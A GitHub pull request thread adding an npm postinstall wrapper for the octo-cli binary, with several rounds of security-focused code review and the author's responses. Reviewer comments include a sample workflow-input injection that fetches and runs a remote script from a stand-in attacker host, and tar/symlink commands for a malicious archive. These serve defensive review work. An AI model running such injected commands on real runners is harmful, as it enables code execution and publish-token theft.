feat(npm): add @mininglamp-oss/octo-cli npm wrapper

[liuooo]

Closes #31

What

Distributes octo-cli via npm so Node-based agent runtimes (OpenClaw, etc.) can npm install -g @mininglamp-oss/octo-cli. The package is a thin wrapper around the prebuilt Go binary.

• npm/ — package.json (bin: octo-cli, version is a 0.0.0 placeholder filled at publish time), install.js (postinstall: download the matching release archive → verify sha256 → extract), run.js (shim that execs the binary), README
• install.js PATH hint — on a global install, if npm's bin dir isn't on PATH, it prints a shell-specific export PATH=… hint (zsh/bash/fish/Windows). Warn only; never edits config.
• .github/workflows/npm-publish.yml — publishes on GitHub Release published
• .gitignore — ignore npm/bin/ (the downloaded binary)
• README — npm install section

Aligned with octo-adapters' publish flow

After comparing with publish-octo.yml / create-openclaw-octo:

• ✅ --access public (scoped packages default to private)
• ✅ NODE_AUTH_TOKEN: ${{ secrets.NPM_TOKEN }} via setup-node
• ✅ dist-tag rule: a prerelease tag (contains -, e.g. v0.6.0-rc.1) publishes to @next; stable to @latest — so an rc never clobbers @latest
• ✅ SHA-pinned checkout / setup-node, permissions: {}, concurrency guard
• ✅ workflow_dispatch with a --dry-run path for manual testing

Deliberately NOT adopted: the dev-publish-on-every-merge workflow. octo-cli's wrapper downloads a binary from a matching release, so its npm version must track a real release tag — a per-merge -dev.<sha> version would have no matching release artifact and produce an uninstallable package.

Dependencies / merge order

• Builds on the octo → octo-cli rename (refactor!: rename binary and CLI command from octo to octo-cli #26, merged): the wrapper downloads octo-cli_<version>_<os>_<arch> archives.
• Therefore it can only publish from a release whose goreleaser archives use the octo-cli_ prefix — i.e. v0.6.0+. Merging this PR is safe before then; it just won't publish until such a release is cut and NPM_TOKEN is set (already configured on this repo).

Testing

• node --check on install.js / run.js: clean
• PATH-hint unit exercised across global/non-global, on/off-PATH, zsh/fish
• npm pack (with a real version) produces mininglamp-oss-octo-cli-<v>.tgz
• workflow: no tabs, valid YAML, --access public + dist-tag logic present

Note: the npm scope @mininglamp-oss ownership / NPM_TOKEN were sorted out separately (token is configured as a repo secret on octo-cli).

[github-actions]

Dependency Changes Detected

This PR modifies dependency files. Please review whether these changes are intentional.

Changed files:

• npm/package.json

Maintainer checklist:

• Confirm dependency changes are intentional
• Review package delta if lockfile changed

[lml2468]

Review: feat(npm): add @mininglamp-oss/octo-cli npm wrapper

Verdict: APPROVED

Blocking

None.

Non-blocking

• Race condition with goreleaser: if a GitHub Release is published before goreleaser finishes uploading assets, the npm package version would be live but postinstall would fail for early installers. The release: published trigger likely fires after assets are uploaded, but worth keeping in mind.
• No JS-level tests: the wrapper is thin enough (~195 lines total) that this is acceptable, but a small smoke test for maybeHintPath or the platform mapping could catch regressions.

Highlights

• Checksum verification: SHA-256 against checksums.txt before extraction — correct security posture.
• Clean platform mapping: process.platform → goreleaser os and process.arch → goreleaser arch tables align exactly with .goreleaser.yaml's name_template and format_overrides.
• Graceful error paths: 0.0.0 placeholder guard in install.js, ENOENT handling with reinstall hint in run.js, redirect limit in download(), and the maybeHintPath() best-effort PATH warning — all solid.
• Pinned CI actions: checkout and setup-node pinned by SHA, not tag — good supply-chain hygiene.
• Concurrency guard: cancel-in-progress: false prevents double-publish races.
• Dist-tag logic: prerelease versions (-rc.1, -beta.2) correctly route to @next instead of @latest.
• Minimal publish surface: files field limits npm tarball to scripts/ and README.md.

REVIEW_STATE=APPROVED

[Jerry-Xin]

The PR is relevant to octo-cli, but the npm publish trigger can publish an installable-looking package before the matching release binaries exist.

🔴 Blocking

• 🔴 Critical: .github/workflows/npm-publish.yml:14-16 publishes on the GitHub Release published event, but the existing release flow uploads GoReleaser artifacts only after the release is published in .github/workflows/release-publish.yml:33-70. That means npm publish can race ahead of artifact upload, and if the artifact build/upload fails, npm will permanently contain a version whose postinstall cannot download octo-cli_<version>_<os>_<arch> or checksums.txt. Please trigger npm publishing only after artifact upload succeeds, for example by adding it as a dependent job after build-artifacts, triggering from a completed release workflow, or otherwise explicitly verifying the required assets exist before npm publish.

💬 Non-blocking

• 🟡 Warning: npm/scripts/install.js:65-71 has an incorrect fallback prefix calculation. For a Unix global install path like <prefix>/lib/node_modules/@scope/pkg/scripts, the fallback walks past <prefix>, so the PATH hint can point at the wrong bin directory when npm_config_prefix is unavailable. This is best-effort only, but worth correcting if keeping the fallback.

• 🔵 Suggestion: npm/scripts/install.js:29-52 buffers the full download without a timeout or size guard. GitHub release assets are expected to be small and trusted here, but a request timeout would make failed installs less likely to hang indefinitely.

✅ Highlights

• Checksum verification is present before extraction in npm/scripts/install.js:132-139.
• The wrapper keeps the npm package thin and platform-gated via os / cpu in npm/package.json.
• run.js correctly forwards stdio and propagates the binary exit code.

[yujiawei]

Code Review — PR #27 (octo-cli)

Thanks for this — the wrapper is well thought through. SHA-pinned actions, permissions: {}, the 0.0.0 placeholder guard, the prerelease→@next dist-tag rule, and the checksum-before-extract flow are all done right, and the npm asset naming matches .goreleaser.yaml exactly (octo-cli_<version>_<os>_<arch>.{tar.gz|zip}, checksums.txt, os/arch maps, archive root layout — all verified, no mismatch). The publish flow will produce an installable package once a v0.6.0+ release exists.

Because this is a postinstall script that downloads and execs a native binary on every npm install, I held the network/trust paths to a high bar. One issue I'd ask to be fixed before merge, plus a cluster of security hardening on the download path that is worth doing while we're here.

Requested change (blocker)

1. download() has no request/socket timeout — a stalled connection hangs npm install forever — npm/scripts/install.js

https
  .get(url, { headers: { "User-Agent": "octo-cli-npm-installer" } }, (res) => { ... })
  .on("error", reject);

There is no timeout option, no req.setTimeout, and no response idle timeout. .on("error") fires on socket errors (ECONNRESET/DNS), but not on silence: if the TCP connection is established and the CDN then stalls (half-open connection, dropped CDN node, captive portal that accepts the socket but never sends bytes), the promise never settles and the entire npm install freezes with the last line being [octo-cli] downloading ... . npm imposes no wall-clock limit on lifecycle scripts, so nothing rescues it; in CI it manifests as an opaque job-timeout. This is cheap to fix and worth doing for a script that runs on every install:

const req = https.get(url, { headers, timeout: 30000 }, (res) => { ... });
req.on("timeout", () => req.destroy(new Error(`request timed out: ${url}`)));

Security hardening on the download path (strongly recommended)

This PR was flagged security-sensitive, and these tighten the install-time ACE surface. None is exploitable against stock GitHub today; they are defense-in-depth on a path that runs unattended.

2. Redirects are followed to any host with no allowlist — npm/scripts/install.js

if (res.statusCode >= 300 && res.statusCode < 400 && res.headers.location) {
  res.resume();
  resolve(download(res.headers.location, redirects + 1));
  return;
}

The redirect target is followed blindly with no host/protocol validation. The first hop is hardcoded to github.com, and an http:// target would throw (good — no silent transport downgrade), but a cross-host HTTPS redirect (GitHub open-redirect, DNS/CDN hijack of the redirect target, or a compromised release) would be fetched from the attacker host. The only backstop is the checksum, which is co-fetched from the same hop (see #4). Validate every hop:

const u = new URL(location, currentUrl);
if (u.protocol !== "https:") fail("non-https redirect");
const ok = ["github.com", "objects.githubusercontent.com", "codeload.github.com"];
if (!ok.includes(u.hostname)) fail(`redirect to unexpected host: ${u.hostname}`);

3. Checksum parser does not validate the hash shape — npm/scripts/install.js

const entry = sums.split("\n").map((l) => l.trim().split(/\s+/)).find((p) => p[1] === asset);
...
if (got !== entry[0]) fail(...)

entry[0] is trusted as the expected digest without asserting it is a 64-char lowercase hex string, and a duplicate filename line silently takes the first match. This fails safe today (a garbage hash just makes the compare fail), but for a security verifier the contract should be explicit:

if (!/^[0-9a-f]{64}$/.test(entry[0])) fail(`malformed checksum entry for ${asset}`);

4. (Note, not a required change) Checksum gives integrity, not provenance — npm/scripts/install.js

Both the archive and checksums.txt are fetched from the same release origin (${base}/...), so the sha256 check only proves the archive matches whatever checksums.txt that release currently serves — it catches accidental corruption, not a release-level compromise (leaked maintainer/NPM_TOKEN, malicious goreleaser run). This is the conventional baseline for npm binary wrappers (esbuild/swc do the same), so I'm not blocking on it — but for an OSS supply-chain artifact it's worth a follow-up: have goreleaser sign checksums.txt (signs: / cosign-keyless) and verify the signature in install.js, or bake the per-asset hashes into the published npm tarball at publish time so the trust anchor is the package the user already chose to install. At minimum, document that the checksum is integrity-only.

Non-blocking improvements (P2)

• No retries on transient network failures (install.js): a single ECONNRESET / momentary 5xx from the CDN calls fail() → exits → fails the whole install. A 3-attempt backoff for retryable errors/timeouts (but not 404 — fast-fail on wrong version is correct) matches what esbuild/swc do.
• run.js collapses signal deaths to exit code 1: when the binary is killed by a signal, spawnSync returns status === null and the shim exits 1, losing the conventional 128+signum (130 for SIGINT). Callers inspecting $? for Ctrl-C, and tools distinguishing interrupt from error, will misread it. Prefer if (res.signal) process.kill(process.pid, res.signal) or exit 128+signum.
• PATH-hint fallback walks one directory too far (install.js, the npm_config_prefix-unset branch): path.resolve(__dirname, "..","..","..","..", isWin ? ".." : "../..") lands one level above the real prefix (e.g. computes /usr instead of /usr/local), so the printed export PATH/setx hint points at the wrong dir. Best-effort and never breaks install, but it prints a misleading fix. Drop one level (5 .. on unix, 4 on Windows), or derive from the bin link instead of counting segments.
• tar/bsdtar assumed present (install.js): Windows is listed as supported, but tar.exe (bsdtar) only ships on Windows 10 1803+; on Server 2016 / older Win10 (and some minimal Linux containers) it's absent, so extraction fails with a generic extract failed: ... ENOENT after a verified download. Detect ENOENT and emit a targeted message; optionally a pure-Node zip fallback (yauzl) so Windows doesn't depend on bsdtar.
• Concurrency group keyed on github.ref (npm-publish.yml): a release run (refs/tags/v1.2.3) and a workflow_dispatch of the same version (refs/heads/main) land in different groups, so they don't serialize. Low impact (npm rejects re-publishing the same version; dispatch defaults to --dry-run), but group: npm-publish-${{ inputs.tag || github.ref_name }} keys both on the version.

Nits

• VERSION not sanitized before interpolation (install.js): VERSION is publisher-controlled (from the package's own package.json), so there's no downstream-consumer injection vector, but the 0.0.0 guard doesn't reject a malformed version, and a / or .. would flow into both the URL and path.join(binDir, asset). A strict semver assert early closes it defensively.
• download() buffers the whole body in memory with no size cap: harmless for a few-MB binary; streaming to disk with incremental hashing would bound memory on a hostile redirect.
• Hard process.exit(1) on any failure, no opt-out: correct and loud for a global -g CLI; only relevant if it's ever pulled in transitively in an air-gapped/CI context, where an OCTO_CLI_SKIP_DOWNLOAD escape hatch deferring fetch to first run would help. Document the intent.

Verified correct (no action)

• npm asset naming, OS/arch maps, checksums.txt filename, and archive root layout all match .goreleaser.yaml.
• Windows tar -xf <zip> -C dir octo-cli.exe extracts a single member correctly with Windows bsdtar.
• permissions: {} is correct — public checkout works and publish uses NODE_AUTH_TOKEN, not GITHUB_TOKEN.
• --dry-run wiring: real releases publish (DRY=""), manual dispatch defaults to dry-run — a good safety default.

Requesting changes on #1 (the install hang). #2 and #3 are small and high-value for a security-sensitive installer; the rest are non-blocking and can be addressed at your discretion.

[liuooo]

Review responses (pushed in 0508a54 + ecd8791)

Tried to clear both blockers plus every non-blocking item.

@Jerry-Xin

• 🔴 npm-publish.yml publish/upload race — Fixed in ecd8791. The publish job now blocks on a gh release view-driven poll of the release assets until all 6 goreleaser archives (linux/darwin/windows × amd64/arm64) and checksums.txt are present, with a 30-minute deadline and ::error:: on timeout. --dry-run skips the wait. So the workflow remains release-triggered, but it cannot publish a version that has no matching artifacts.
• 🟡 install.js:65-71 PATH-hint fallback walked one level too far — Fixed. Now 5 .. on unix (lands at /usr/local), 4 on Windows. Verified with a smoke test against /usr/local/lib/node_modules/@scope/pkg/scripts.
• 🔵 No timeout or size guard in download() — Both done (see @yujiawei chore: add CODEOWNERS with maintainers team ownership #1 below for the timeout; added a 200 MiB cap on the buffered body too).

@yujiawei

• 🔴 download() no timeout — npm install hangs forever — Fixed. https.get(url, {timeout: 30_000}) + req.on('timeout', () => req.destroy(...)). The request fails cleanly on a half-open socket / CDN stall.
• 🟡 Redirects followed to any host with no allowlist — Fixed. Every hop (including the initial URL) goes through assertSafeHost(), which asserts protocol === 'https:' and hostname ∈ {github.com, objects.githubusercontent.com, codeload.github.com}. A non-HTTPS or off-list target throws before any fetch happens.
• 🟡 Checksum parser doesn't validate hash shape — Fixed. entry[0] is now asserted against ^[0-9a-f]{64}$ and the error message tells you the bad entry.
• 🔵 Checksum gives integrity, not provenance — Acknowledged. Not addressed in this PR — left as a follow-up (goreleaser signs: + cosign verification, or baking per-asset hashes into the tarball at publish time). Adding it now would meaningfully expand the PR scope and the change would need a fresh round of review.
• No retries on transient network failures — Fixed. 3 attempts with exponential backoff (500ms / 1s / 2s). Retries on timeout, ECONNRESET, and 5xx; 404 is treated as non-retryable.
• run.js collapses signal deaths to exit 1 — Fixed. The shim now process.kill(self, res.signal) to re-raise the same signal, with a 128+signum fallback for portability (so $? is 130 on SIGINT, 143 on SIGTERM, etc.).
• PATH-hint fallback walks one level too far — Fixed (same change as @Jerry-Xin's note).
• tar/bsdtar assumed present — Fixed. ENOENT from execFileSync('tar', ...) now emits a targeted message naming bsdtar / Git for Windows / apt-get install tar instead of bubbling up as a bare extract failed: ENOENT. A pure-Node zip fallback would be more invasive (new dep or hand-rolled inflate) — happy to add it as a follow-up if Windows 10 < 1803 actually shows up in practice.
• concurrency.group not shared between release and dispatch — Fixed. Group key is now ${{ inputs.tag || github.ref_name }}, so both events for the same version land in the same group.
• VERSION not sanitized before interpolation — Fixed. Strict semver assertion (^\d+\.\d+\.\d+(?:-[0-9A-Za-z.-]+)?(?:\+[0-9A-Za-z.-]+)?$) before VERSION is used in any URL or path. The workflow does the same assertion on the resolved tag.
• download() buffers in memory with no size cap — Added a 200 MiB cap (far above any sane archive); on overflow the request is destroyed mid-flight.
• Hard process.exit(1) on any failure — Kept as-is. An OCTO_CLI_SKIP_DOWNLOAD escape hatch could come later if the air-gapped/transitive use case actually surfaces.

@lml2468

• Race condition with goreleaser — Fixed (same change as @Jerry-Xin's chore: add CODEOWNERS with maintainers team ownership #1).
• No JS-level tests — Not added in this round; the maybeHintPath() export is unchanged and the new code is similarly thin. A jest-style smoke test for the platform map + maybeHintPath + assertSafeHost would be reasonable as a follow-up.

Commits

• 0508a54 — fix(npm): harden the installer and shim per PR #27 review (install.js + run.js)
• ecd8791 — fix(ci): npm-publish waits for goreleaser artifacts before publishing (workflow)

Both pushed as additive commits to feat/octo-cli-npm; no force-push.

[lml2468]

Re-review: ecd8791 (previously APPROVED at 4db164a)

Previous Blocking Issues (from Jerry-Xin / Allen)

All three resolved:

1. npm publish ↔ goreleaser race condition ✅ — New "Wait for goreleaser artifacts" step polls gh release view for all 7 expected assets (6 platform archives + checksums.txt) with a 30-minute deadline and 15-second intervals. Correctly skipped on --dry-run. The contents: read permission is minimal and justified.

2. Download timeout / size guard ✅ — REQUEST_TIMEOUT_MS = 30_000, MAX_DOWNLOAD_BYTES = 200 MiB, MAX_RETRIES = 3 with exponential backoff (500ms → 1s → 2s). 404 is non-retryable (fast-fail), 5xx and socket errors retry. The redirect host allowlist (ALLOWED_HOSTS) is a solid security addition.

3. Fallback prefix path calculation ✅ — Unix: 5 levels (scripts → pkg → @scope → node_modules → lib → prefix), Windows: 4 levels. Matches npm's actual global layout.

New Improvements (not in previous round)

• run.js signal propagation: re-raises the signal for proper 128+signum exit codes instead of generic 1 — shells and supervisors now see SIGINT correctly.
• Semver validation before URL interpolation.
• Checksum format validation (/^[0-9a-f]{64}$/).
• tar ENOENT handling with platform-specific guidance.
• Concurrency key uses inputs.tag || github.ref_name so release-triggered and manual runs of the same version serialize properly.

Verified

• release-publish.yml confirmed: build-artifacts runs goreleaser with --skip=publish,announce then uploads via gh release upload. The expected asset list in npm-publish matches this output.
• The getOnce → downloadOnce → download layering is clean: redirect-following is separated from retry logic, and each layer has clear single responsibility.
• assertSafeHost runs on every hop, not just the initial URL.

No remaining concerns. LGTM.

[Jerry-Xin]

The PR is relevant to octo-cli, but the npm installer will currently reject real GitHub release downloads.

🔴 Blocking

• 🔴 Critical: npm/scripts/install.js:25-29 allowlists github.com, objects.githubusercontent.com, and codeload.github.com, but GitHub release asset downloads currently redirect to release-assets.githubusercontent.com. Because downloadOnce() validates every redirect at npm/scripts/install.js:99-103, postinstall will fail before downloading the archive or checksums.txt at npm/scripts/install.js:207-208. I verified this against the existing v0.5.0 release asset URL, which resolves to https://release-assets.githubusercontent.com/.... Add release-assets.githubusercontent.com to the allowlist or adjust the redirect validation to match GitHub’s release asset host.

💬 Non-blocking

• 🟡 Warning: Please verify the automatic publish trigger with the existing release flow. The new workflow relies on on: release: published in .github/workflows/npm-publish.yml:14-16, while the repo’s release flow appears to publish releases from .github/workflows/release-publish.yml using workflow credentials. If that event is suppressed by GitHub’s workflow-token recursion rules in this setup, npm publishing would only work through workflow_dispatch.

✅ Highlights

• The wrapper is appropriately scoped to npm distribution of the existing Go binary.
• The installer validates platform/version, checks SHA-256 before extraction, avoids shell interpolation for archive extraction, and keeps PATH changes as warnings only.
• run.js correctly forwards stdio/arguments and preserves child exit status/signals.

[liuooo]

Round-2 review responses (pushed in 0807a37)

@Jerry-Xin

• 🔴 release-assets.githubusercontent.com missing from the allowlist — Fixed in 0807a37. Confirmed your finding: GitHub release assets currently 302 to release-assets.githubusercontent.com (a JWT-signed URL CDN). Added it to ALLOWED_HOSTS; kept objects.githubusercontent.com as a fallback in case GitHub reverts or routes some downloads through the older CDN.

  End-to-end smoke test against the existing v0.5.0 release (with the asset prefix temporarily patched from octo-cli_ → octo_ to match that release's pre-rename naming):

  [octo-cli] downloading octo_0.5.0_darwin_arm64.tar.gz ...
  [octo-cli] installed octo-cli 0.5.0 (darwin/arm64)
  $ ./bin/octo version
  { \"version\": \"0.5.0\", \"build_date\": \"2026-05-28T14:01:14Z\", ... }
  

  So the redirect now resolves, checksum verification passes, and the binary runs. Will repeat the test against a real v0.6.0+ release before tagging.

• 🟡 on: release: published + GitHub's GITHUB_TOKEN recursion rule — Acknowledged, valid concern. Per GitHub's rule, events triggered by GITHUB_TOKEN don't fire downstream workflows. release-publish.yml calls the org-level reusable workflow Mininglamp-OSS/.github/.github/workflows/reusable-release-publish.yml@main with contents: write, which presumably uses GITHUB_TOKEN to flip the release out of draft — so the release: published event likely will be suppressed in this setup.

  This PR doesn't change that situation (the trigger is unchanged from the previous round), and workflow_dispatch is retained as the manual escape hatch, but I agree the automatic path is unproven.

  Proposed follow-up (separate PR, doesn't expand this one's scope): have release-publish.yml's build-artifacts job — after the gh release upload step succeeds — invoke gh workflow run npm-publish.yml -f tag=$TAG -f dry_run=false. That gives a deterministic trigger ordering (publish only runs after artifacts upload succeeds), bypasses the recursion rule, and lets the wait-for-artifacts poll step act purely as a safety net for the manual-dispatch case. Would need actions: write added to that job. I'd rather land that as its own change so the trigger-chain semantics get reviewed in isolation.

Commit

• 0807a37 — fix(npm): allow release-assets.githubusercontent.com in redirect allowlist

Plain push, no force. Replied to all of Jerry's items; @lml2468's APPROVED is already on ecd8791.

[lml2468]

Re-review: 0807a37 (previously APPROVED at ecd8791)

Blocking Issue from Last Round

ALLOWED_HOSTS missing release-assets.githubusercontent.com ✅ Fixed — Single-line addition with updated comment explaining the CDN history. Verified against real GitHub release redirect chain (github.com → release-assets.githubusercontent.com).

The allowlist now covers the full redirect path:

• github.com — initial request
• release-assets.githubusercontent.com — current CDN for release assets
• objects.githubusercontent.com — legacy CDN (kept for forward compatibility)
• codeload.github.com — source archives

No other changes. All previous-round fixes (goreleaser wait, timeout/retry, prefix path, signal propagation) remain intact.

LGTM.

[Jerry-Xin]

Project relevance gate: pass. This PR is in scope for octo-cli, and I found no blocking correctness or security issues.

💬 Non-blocking

• 🟡 Warning: The new npm wrapper has meaningful behavior but no committed automated tests. The highest-value cases are download retry/failure handling, checksum parsing, archive extraction failure, PATH hint output, and run.js exit/signal propagation. Relevant areas: npm/scripts/install.js:57, npm/scripts/install.js:134, npm/scripts/install.js:216, npm/scripts/run.js:12.

• 🔵 Suggestion: Quote/escape PATH hint values per shell. fish_add_path ${binDir} and the Windows setx hint can misbehave when npm’s prefix contains spaces or shell metacharacters. See npm/scripts/install.js:164 and npm/scripts/install.js:177.

✅ Highlights

• Checksum verification, HTTPS-only redirect allowlisting, retry/timeout handling, and download size limits are good safeguards in npm/scripts/install.js.
• npm-publish.yml correctly waits for GoReleaser artifacts before publishing, uses --access public, and keeps prereleases on next.
• run.js preserves child exit codes and handles missing postinstall binaries cleanly.

[yujiawei]

Code Review — PR #27 (octo-cli)

Security-focused review of the npm wrapper that downloads and executes a remote Go binary on npm install. The overall design is solid: HTTPS-only, an explicit redirect allowlist re-checked on every hop, SHA-256 verification before extraction, size/redirect/timeout caps, and SHA-pinned CI actions. Two issues should be addressed before merge, plus several non-blocking notes.

Findings

1. (P2) Archive extraction can extract a symlink as the octo-cli member → arbitrary chmod / arbitrary-binary execution

npm/scripts/install.js:236-239

The install extracts only the named member (tar -xzf <tmp> -C binDir octo-cli), which correctly avoids generic zip-slip from other members. However, named-member extraction does not prevent the octo-cli member itself from being a symlink. I verified locally:

ln -s /path/to/victim payload/octo-cli
tar -czf evil.tar.gz -C payload octo-cli
tar -xzf evil.tar.gz -C bin octo-cli      # bin/octo-cli is now a symlink

Then fs.chmodSync(path.join(binDir, binName), 0o755) (line 239) follows the symlink and chmods the target. Confirmed: a 0600 file owned by the install user became 0755 through the extracted symlink. Subsequently run.js:12 spawnSyncs bin/octo-cli, which resolves the symlink and executes whatever it points to.

Impact: a malicious archive can (a) chmod any file the install user owns to 0755, and (b) cause octo-cli invocations to execute an arbitrary local executable.

Precondition: the archive must match checksums.txt, so this requires control of the GitHub Release contents (compromised token / malicious release), the same trust root as the binary itself. Hence P2 (defense-in-depth) rather than a remote-unauthenticated bug — but it lets a release-level compromise escalate beyond "run the binary we shipped" to "touch files outside bin/," which is exactly what extraction hardening should prevent.

Fix: pass a flag that refuses symlinks/keeps extraction inside the target. GNU tar and bsdtar both support refusing unsafe members; the most portable approach is to verify the extracted entry is a regular file before chmod:

const st = fs.lstatSync(path.join(binDir, binName));
if (!st.isFile()) fail("archive member 'octo-cli' is not a regular file");

Additionally consider tar options to drop symlinks during extraction. Note this is post-checksum, so it is a deliberate "don't let a bad archive escape bin/" guard.

2. (P2) Workflow script-injection: inputs.tag interpolated directly into the publish-job shell, before validation

.github/workflows/npm-publish.yml:60-62

REF="${{ inputs.tag }}"
DRY="${{ inputs.dry_run && '--dry-run' || '' }}"

inputs.tag is substituted into the run block as raw text before bash executes. A workflow_dispatch tag value of "; <command>; # breaks out of the assignment and runs arbitrary commands on the runner. Verified the rendered line becomes:

REF=""; echo PWNED; #"

The semver validation at lines 67-71 runs after the unsafe assignment at line 61, so it does not protect this step. Note line 64 already does the right thing on the release path by using the ${GITHUB_REF_NAME} env var — the inputs.tag path is the inconsistent one.

Impact: anyone able to trigger workflow_dispatch (write access) can execute arbitrary code in a job that has secrets.NPM_TOKEN available in a later step → potential npm-token exfiltration / arbitrary package publish. Gated by write access, so P2, but this is the token-handling workflow flagged security-sensitive, so it warrants hardening.

Fix: never interpolate ${{ inputs.* }} / ${{ github.* }} into a run: block. Pass through env: and reference shell variables:

env:
  EVENT_NAME: ${{ github.event_name }}
  INPUT_TAG: ${{ inputs.tag }}
  INPUT_DRY: ${{ inputs.dry_run }}
run: |
  if [ "$EVENT_NAME" = "workflow_dispatch" ]; then
    REF="$INPUT_TAG"
    [ "$INPUT_DRY" = "true" ] && DRY="--dry-run" || DRY=""
  ...

Same applies to ${{ steps.version.outputs.DRY_RUN }} at line 130 (lower risk since it is internally derived, but move it to env for consistency).

3. (P2 / note) Trust model: checksums.txt is unsigned and co-located with the archive (TOFU/integrity gap)

npm/scripts/install.js:211-227 + release flow

The SHA-256 check protects against transport corruption and partial CDN poisoning, but checksums.txt is fetched from the same release as the archive over the same channel, and is not cryptographically signed (no cosign/minisign). An actor who can write release assets replaces both consistently, and verification passes. The effective trust root is GitHub Release integrity + the npm publish pipeline, not the checksum.

This is acceptable for a v1 and is the common pattern, but it should be a conscious, documented decision rather than an implied guarantee. The code comment "verify its checksum" reads as stronger than the property actually provides. Recommend: (a) document that the trust root is the GitHub Release, and (b) consider signing checksums.txt (cosign keyless) in a follow-up so the npm installer can verify a signature whose key is not co-located with the artifact.

4. (nit) No overall download deadline — slow-trickle DoS from an allowlisted host

npm/scripts/install.js:63, 81-88

timeout: REQUEST_TIMEOUT_MS is an idle socket timeout; it does not fire while bytes keep arriving slowly. A compromised/misbehaving allowlisted CDN could trickle data just under the idle threshold up to ~200 MiB, stalling npm install. Low severity (allowlisted host, capped total bytes). Consider an absolute wall-clock deadline per download in addition to the idle timeout.

5. (nit) Version regex is laxer on the npm side than in CI; permits odd prerelease strings

npm/scripts/install.js:197 vs .github/workflows/npm-publish.yml:68

The installer regex accepts +build metadata (1.2.3+build) and prerelease strings like 1.2.3-.., while the CI regex (line 68) rejects +build. Because VERSION originates from the published package.json (publisher-controlled) and these strings are embedded mid-filename (octo-cli_<v>_<os>_<arch>, not a standalone path segment), I could not turn this into path traversal — path.join(binDir, asset) stays inside binDir. Still, aligning the two regexes (and rejecting +build, since CI never produces it) removes a latent inconsistency. Not blocking.

6. (nit) Disallowed-host / malformed-redirect errors are retried 3×

npm/scripts/install.js:119-122

assertSafeHost and new URL(...) throw errors without httpStatus, so status === undefined makes them retryable. A redirect to a hostile host is correctly rejected, but only after 3 attempts + backoff. Cosmetic (wastes a few seconds, no security impact); consider marking allowlist/parse failures as non-retryable.

Non-security notes

• entry.length < 2 (line 221) is dead code: .find(p => p[1] === asset) already guarantees length ≥ 2 when matched. Harmless.
• getOnce size-overflow relies on req.destroy(err) emitting 'error' to reject the promise; this holds on the supported Node ≥ 18 floor. Fine.
• run.js signal re-raise and exit-code propagation look correct.
• 404 fast-fail (non-retryable) for missing release assets is the right call.

Verdict

Requesting changes for findings #1 and #2 — both are concrete hardening gaps on a script that executes a remote binary and handles NPM_TOKEN. Neither is a remote-unauthenticated RCE (both are gated behind release/write-access compromise), but they are exactly the escalation paths a security-sensitive review should close. #3 should at minimum be documented. The rest are nits.

[yujiawei]

Code Review — PR #27 (octo-cli)

Thanks for this — the wrapper is genuinely well thought through. SHA‑pinned actions, top‑level permissions: {}, the 0.0.0 placeholder guard, the prerelease→@next dist‑tag rule, strict semver validation of the version before it touches a URL or a path, the host allowlist re‑checked on every redirect hop, the size/redirect/timeout/retry caps, and the checksum‑before‑extract flow are all done right. The asset naming also matches .goreleaser.yaml. Most of my findings are on the publish workflow, not the installer.

This PR is security‑sensitive (a postinstall that downloads and executes a remote binary, and a workflow that handles NPM_TOKEN), so I reviewed it accordingly. There is one code‑level blocker in the diff.

Blocking (P1)

1. Script injection: ${{ inputs.tag }} interpolated into a run: block before validation

.github/workflows/npm-publish.yml:67 (inside the "Resolve version and dist-tag" step)

REF="${{ inputs.tag }}"

The Actions expression engine substitutes inputs.tag as literal text into the shell source before bash parses the line. The semver regex at :74 runs against $VERSION only after this assignment has already executed, so it cannot gate the injection. A workflow_dispatch tag of:

v1.0.0"; curl -s https://attacker/x.sh | bash; echo "

renders the line as REF="v1.0.0"; curl -s ... | bash; echo "" and runs arbitrary commands on the runner. The injected code can plant a malicious .npmrc or background process that hijacks the later Publish to npm step, which holds secrets.NPM_TOKEN — i.e. token abuse / poisoned‑package publish (and that package itself executes a remote binary on install).

Note this is inconsistent with the very next branch: :70 already does it the safe way via REF="${GITHUB_REF_NAME}".

Severity: triggering requires repo write (workflow_dispatch is not reachable from forks/anonymous actors), which keeps it out of the "remote unauth" P0 band — but for a security‑sensitive token‑bearing workflow this is a textbook injection sink (CWE‑94) with a one‑line standard fix, and it will trip GHA linters (zizmor/actionlint). Please fix before merge.

Fix — pass untrusted inputs through env: and reference the shell variable (which is not re‑parsed as code):

- name: Resolve version and dist-tag
  id: version
  env:
    EVENT_NAME: ${{ github.event_name }}
    INPUT_TAG: ${{ inputs.tag }}
    INPUT_DRY: ${{ inputs.dry_run && '--dry-run' || '' }}
  run: |
    if [ "$EVENT_NAME" = "workflow_dispatch" ]; then
      REF="$INPUT_TAG"; DRY="$INPUT_DRY"
    else
      REF="${GITHUB_REF_NAME}"; DRY=""
    fi
    ...

Also move the ${{ steps.version.outputs.DRY_RUN }} interpolation on :136 into env: for the same reason (it is currently only ever --dry-run/empty, so not exploitable today, but keep the pattern consistent).

2. NPM_TOKEN-bearing publish has no protected Environment

.github/workflows/npm-publish.yml job publish (:44) + Publish step (:133-136), trigger workflow_dispatch (:23)

The job that consumes NPM_TOKEN is not bound to a protected GitHub Environment (no environment: key). workflow_dispatch is available to anyone with repo write, so there is no required‑reviewer / wait‑timer gate between an arbitrary dispatch and a real npm publish with the production token. Publish authority is effectively coupled to commit authority; combined with finding #1 this becomes package takeover, but it stands on its own even without the injection.

Fix: bind the job to an Environment with required reviewers, e.g. environment: npm-release, configured in repo settings. (This is partly a repo‑settings change, so I'm flagging it as strongly recommended hardening rather than a pure‑diff blocker — but for a token‑bearing publish path it's the canonical control and worth doing alongside #1.)

Non-blocking — recommended hardening (P2)

• npm provenance (:136): the package runs a postinstall that downloads+executes a binary, so consumers benefit from a cryptographic origin link for the tarball itself (the checksum only protects the downloaded binary, not install.js). Add id-token: write to the job permissions and --provenance to npm publish (npm ≥ 9.5, public repo — both satisfied here).
• Symlink guard on the extracted member (install.js:483-489): named‑member extraction (tar … octo-cli) prevents zip‑slip from other members, but the octo-cli member could itself be a symlink — fs.chmodSync and the later spawnSync would follow it. This is fully behind the GitHub‑release trust root (an actor who can match checksums.txt could just ship a malicious regular‑file binary), so it's defense‑in‑depth, but cheap and zero‑regression since goreleaser never emits symlink members:

  const st = fs.lstatSync(path.join(binDir, binName));
  if (!st.isFile()) fail("archive member 'octo-cli' is not a regular file");

Nits (optional)

• npm/package.json declares "license": "Apache-2.0" but no LICENSE exists at the npm package root (npm/), so the published tarball ships the declaration without the license text (Apache‑2.0 §4). Add npm/LICENSE.
